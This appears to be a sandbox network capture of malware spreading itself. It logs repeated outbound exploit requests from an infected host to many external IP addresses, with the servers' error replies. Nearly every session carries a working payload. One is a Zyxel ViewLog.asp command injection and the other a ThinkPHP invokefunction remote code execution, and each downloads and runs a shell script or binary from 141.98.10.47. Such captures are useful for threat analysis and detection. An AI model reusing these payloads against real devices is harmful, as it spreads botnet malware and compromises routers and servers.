Dec 26, 2023 21:23:35.483236074 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:38.522913933 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:44.665942907 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:56.696268082 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:21.268799067 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:10.413888931 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	47172	94.140.4.182	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:33.619700909 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:37.754940987 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:38.001023054 CET	327	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Dec 2023 20:23:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=8 Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	47726	31.31.225.15	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:33.623106956 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:37.754935026 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	40378	62.29.82.122	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:33.654192924 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	42156	88.30.71.76	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:34.058703899 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:34.306318998 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:34 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	42796	94.123.58.183	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:34.221268892 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	49986	94.123.45.240	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:34.221348047 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	50332	94.123.44.231	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:34.221394062 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.23	34518	85.72.44.205	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:34.989121914 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.23	47628	88.157.215.30	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:35.058005095 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:35.308974028 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:35 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.23	47328	88.198.222.89	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:35.058089972 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:35.312119007 CET	427	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:35 GMT Server: Apache X-Frame-Options: DENY Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.23	59570	95.164.61.6	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:35.161597013 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:35.441374063 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.23	47840	94.121.19.175	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:35.163674116 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.23	36636	95.223.125.87	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:37.603065968 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:38.938743114 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.23	35338	95.70.170.196	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:37.623440027 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:37.898068905 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.23	37412	95.213.193.221	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:37.623461008 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:37.902766943 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:23:37 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.23	35558	95.86.114.252	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:37.628190994 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.23	54774	95.101.191.160	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:37.653295994 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:37.968729973 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:37 GMT Date: Tue, 26 Dec 2023 20:23:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 36 66 32 36 34 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 32 31 37 26 23 34 36 3b 31 31 63 31 61 39 64 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.c6f2645f.1703622217.11c1a9d7</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.23	56366	95.57.98.215	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:37.667820930 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:37.997476101 CET	29	IN	HTTP/1.1 200 OK
Dec 26, 2023 21:23:37.997546911 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.23	60734	95.101.85.187	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:38.126667023 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
